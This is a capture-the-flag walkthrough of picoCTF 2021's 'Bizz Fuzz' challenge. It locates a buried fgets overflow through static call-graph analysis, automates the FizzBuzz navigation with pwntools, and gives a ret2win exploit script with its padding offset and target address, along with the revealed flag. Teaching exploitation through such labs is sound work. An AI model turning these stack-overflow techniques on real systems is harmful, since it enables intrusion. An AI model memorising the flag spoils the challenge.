Skip to main content

Bizz Fuzz picoCTF 2021 Solution

A binary exploitation challenge buried deep inside a FizzBuzz-driven call graph. Find the vulnerable function and exploit it.

Published: April 2, 2026Updated: August 25, 2026

Description

FizzBuzz was too easy, so I made something a little bit harder. There's a buffer overflow in this problem, good luck finding it!

The binary is a 32-bit ELF containing 77+ nested FizzBuzz game-state functions. The vulnerable fgets call (348 bytes into an 87-byte buffer) is buried deep in the call chain and is only reachable by correctly navigating through each layer. Blind fuzzing won't reach it.

Remote

Download the binary and inspect it.

bash
wget <url>/bizzfuzz
bash
chmod +x bizzfuzz
bash
checksec --file=bizzfuzz
bash
file bizzfuzz

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1Locate the vulnerable fgets with static analysis
    Observation
    The description points at a buffer overflow caused by fgets somewhere in a large binary. Static disassembly comparing each fgets size argument against its stack buffer will find it; a fuzzer never reaches a path buried that deep.
    The binary exports many calls to fgets. Use objdump or Ghidra to list every fgets call site and compare the declared buffer size against the size argument passed. The vulnerable call passes 0x15c (348) as the read limit into an 87-byte stack buffer, a 261-byte overflow. Because the binary is huge and stripped, automate the search: decompile all functions, grep for fgets call sizes, and flag any call where the size argument exceeds the declared local array.
    bash
    # List the size constants pushed just before each fgets call:
    bash
    objdump -d bizzfuzz | grep -B4 'call.*<fgets@plt>' | grep -oE '\$0x[0-9a-f]+' | sort -u
    bash
    # Confirm the vulnerable function in Ghidra (or radare2):
    bash
    r2 -A bizzfuzz
    bash
    # In r2, search for the call to fgets with size 0x15c:
    bash
    # /c fgets
    What didn't work first

    Tried: Run a fuzzer like AFL or a simple Python script sending random bytes to the binary to trigger the overflow automatically.

    The vulnerable fgets sits 77 function calls deep, behind correct FizzBuzz answers all the way down. AFL's random mutations never produce that sequence, so coverage never touches has_bof and no crash appears. Static analysis is what locates the sink and then identifies the inputs that drive execution to it.

    Tried: Use 'strings bizzfuzz | grep fgets' or 'nm bizzfuzz' to find the vulnerable call site.

    strings and nm show symbol names and printable byte sequences, not how a function is called or what size argument it receives. objdump -d, or a disassembler like Ghidra, is what lets you inspect each fgets call site and compare the pushed size against the declared buffer length. The 0x15c against 87 bytes mismatch only shows up in the disassembly.

    Learn more

    Why static analysis rather than fuzzing? The vulnerable fgets is nested 77+ function calls deep. The program only reaches it after the user correctly plays through each FizzBuzz game layer. A blind fuzzer piping random bytes never gets past the first layer, let alone triggers the overflow. You have to read the binary to know where the bug is and how to reach it.

    One approach is to script Ghidra (via Jython and PCode analysis) to decompile every function and compare array declarations to fgets sizes automatically. Binary Ninja supports the same idea with a depth-limited call-chain search from the fgets reference back to main.

  2. Step 2Map the call chain from main to the vulnerable function
    Observation
    There are 77 or more nested FizzBuzz functions between main and the overflow site, has_bof, which makes manual cross-reference tracing impractical. Export the call graph as JSON and run a shortest-path algorithm to recover the exact sequence.
    Once you know which function holds the overflow (named has_bof in most analyses), you need the exact call path from main so you can replay it. Use radare2's call-graph output with networkx (a Python graph library) to run a shortest-path search, or use Ghidra's PCode DFS, or Binary Ninja's depth-limited search. The path passes through about 77 intermediate functions before reaching has_bof. Each intermediate function plays one round of FizzBuzz and branches on the result.
    bash
    # Export call graph from radare2 as JSON, then find path with networkx:
    bash
    r2 -A -q -c 'agCj' bizzfuzz > callgraph.json
    python
    python3 - <<'EOF'
    import json, networkx as nx
    
    data = json.load(open('callgraph.json'))
    G = nx.DiGraph()
    for node in data:
        for nb in node.get('imports', []):
            G.add_edge(node['name'], nb['name'])
    
    # Replace these with actual addresses from your analysis:
    start = 'main'
    target = 'fcn.0808ae73'  # has_bof
    path = nx.shortest_path(G, start, target)
    print(f"Path length: {len(path)}")
    for fn in path:
        print(fn)
    EOF
    What didn't work first

    Tried: Manually trace the call chain in Ghidra by clicking through cross-references from main, following each callee one level at a time.

    With 77 intermediate functions, clicking through by hand takes hours and invites mistakes. Miss one branch condition and the reconstructed path is wrong, so the navigation script stalls at the wrong layer. Exporting the call graph as JSON and running a shortest path through networkx gives the exact sequence in seconds, reproducibly.

    Tried: Use 'rabin2 -i bizzfuzz' or 'rabin2 -g bizzfuzz' to get the call graph and find the path to has_bof.

    rabin2 -i lists imported symbols and rabin2 -g prints a graphviz call graph, but that graph carries inter-module edges and can omit internal function-to-function calls. The path to has_bof lies entirely inside the binary's own code, so use radare2's agCj command for the internal call graph as JSON, or Ghidra's Program Graph.

    Learn more

    The path matters because each function in the chain calls get_some_data, which runs a FizzBuzz round and returns an integer. Conditional branches in the wrapper check that return value and either call deeper into the chain or return early. To reach has_bof you must satisfy the branch at every layer, which means answering the FizzBuzz prompt correctly (or deliberately wrong) at each step.

  3. Step 3Automate the FizzBuzz navigation with pwntools
    Observation
    The call graph shows each intermediate function running a FizzBuzz round and branching on the answer. So a pwntools loop that parses the number from each prompt and computes the right fizz, buzz, or number response drives execution all the way to has_bof.
    With the call path in hand, write a pwntools script that reads each prompt from the server and replies with the correct FizzBuzz answer to keep the program moving toward has_bof. The answer function is standard: multiples of 15 get 'fizzbuzz', multiples of 3 get 'fizz', multiples of 5 get 'buzz', anything else gets the number as a string. At certain layers you must reply with a specific value (like 5 or 1) to take the branch toward has_bof rather than away from it.
    python
    python3 - <<'EOF'
    from pwn import *
    
    def fizzbuzz_answer(n):
        if n % 15 == 0:
            return b'fizzbuzz'
        elif n % 3 == 0:
            return b'fizz'
        elif n % 5 == 0:
            return b'buzz'
        else:
            return str(n).encode()
    
    p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>)
    
    # Navigate through each FizzBuzz layer until we reach has_bof:
    while True:
        line = p.recvline(timeout=2)
        if b'Enter your' in line or b'Input:' in line or b'?' in line:
            # Parse the number from the prompt and answer correctly
            import re
            m = re.search(rb'(\d+)', line)
            if m:
                n = int(m.group(1))
                p.sendline(fizzbuzz_answer(n))
        elif b'overflow' in line.lower() or b'buffer' in line.lower():
            break  # We've reached the vulnerable fgets prompt
        log.info(line)
    EOF
    What didn't work first

    Tried: Send 'fizzbuzz' or 'fizz' as the answer to every prompt without parsing the actual number, hoping one answer pattern gets through all layers.

    Each FizzBuzz layer checks a different number, so no single fixed answer satisfies every branch. Send 'fizzbuzz' repeatedly and the program takes the wrong branch wherever the number is not a multiple of 15, returning early without ever reaching has_bof. Parse the number from each prompt and compute the answer as you go.

    Tried: Use p.recvuntil(b'?') to synchronize with prompts, then send the answer immediately without checking whether the current line is actually a prompt.

    The binary sometimes prints status or game-state lines containing question marks that are not prompts. recvuntil(b'?') then fires on one of those, the script answers at the wrong moment, and the conversation desynchronizes until pwntools stalls on a prompt already consumed. Match a stable substring like 'Enter your' or 'Input:' before sending instead.

    Learn more

    In practice, the exact navigation logic depends on which branches you traced. One verified payload is:

    b'0' + b' ' * 8 + b'A' * 86 + p32(0x08048656)

    The leading 0 and spaces are the game-round bytes the last layers expect, and they land inside the same buffer, so they count toward the 95-byte offset: 9 bytes of round input plus 86 filler bytes reach the saved EIP. Your pwntools script should mirror the path you mapped in the previous step.

  4. Step 4Overflow the buffer and ret2win
    Observation
    There is no PIE and print_flag sits at a fixed address, 0x08048656, while the disassembly shows fgets reading 0x15c bytes into an 87-byte buffer. So 95 bytes of padding followed by the print_flag address is enough to redirect EIP.
    Once the script reaches has_bof, send the overflow payload: 95 bytes of padding to reach the saved return address (EIP), then the 4-byte little-endian address of print_flag (0x08048656). The binary is 32-bit with no PIE, so the address is fixed. print_flag reads flag.txt and prints the contents.
    python
    python3 - <<'EOF'
    from pwn import *
    
    e = ELF('./bizzfuzz')
    p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>)
    
    # --- navigate all FizzBuzz layers (omitted for brevity; see step 3) ---
    
    # Overflow payload: 95-byte padding + address of print_flag
    PRINT_FLAG = 0x08048656
    offset = 95
    payload = b'A' * offset + p32(PRINT_FLAG)
    
    p.sendline(payload)
    p.interactive()
    EOF
    What didn't work first

    Tried: Use cyclic(200) from pwntools to generate a de Bruijn pattern, send it as the overflow, and read the EIP value from a local crash to find the exact offset.

    cyclic is the right tool for finding offsets locally in GDB, but the remote instance returns no crash report and no EIP value. Send a cyclic pattern straight to the server after navigating the layers and the program crashes silently, teaching you nothing. Confirm the 95-byte offset locally, then hardcode it in the remote exploit.

    Tried: Use ret2libc instead of ret2win by leaking a libc address and pivoting to system('/bin/sh'), since print_flag might not exist in all versions.

    print_flag sits at a fixed 0x08048656 and there is no PIE, so that address holds on every run of the instance. ret2libc adds a leak gadget and a libc version dependency for nothing. Overwriting EIP directly with the known print_flag address is simpler, reliable, and right for this binary.

    Learn more

    Why 95 bytes? The local buffer is 87 bytes, but the compiler adds padding to align the stack frame, giving an effective offset of 95 bytes from the start of the buffer to the saved EIP. Verify this with GDB if you have a local copy: run to has_bof, note the buffer address, then read the saved return address from the stack and subtract.

    Why is there a print_flag function? This is a classic CTF ret2win setup. The binary contains a function that simply calls system("cat flag.txt") or similar but is never called normally. Overwriting EIP with its address skips the intended control flow and prints the flag.

    For the underlying stack overflow mechanics, see the buffer overflow guide.

Interactive tools
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
  • Hex ViewerView text or raw hex bytes as a xxd-style hex dump with byte offset, hex columns, and ASCII sidebar. Highlights printable characters and null bytes.

Flag

Reveal flag

picoCTF{y0u_found_m3}

The real difficulty is not the overflow itself but reaching it. The vulnerable fgets is buried 77+ function calls deep; you must use static call-graph analysis to find the path, then automate correct FizzBuzz answers to traverse it before the overflow payload lands.

Key takeaway

Code coverage is the hidden constraint in vulnerability research: a bug only matters if execution can reach it. Blind fuzzing fails as soon as the vulnerable path requires satisfying complex preconditions across dozens of calls. Static call-graph analysis in Ghidra or radare2 finds the unreachable-looking sinks, an oversized fgets or an unsafe strcpy, and then you reverse the inputs that drive execution there. The same holds in audit work, where security-critical paths sit behind authentication, state machines, and protocol handshakes that random input never satisfies.

Related reading

Useful tools for Binary Exploitation

Where to go next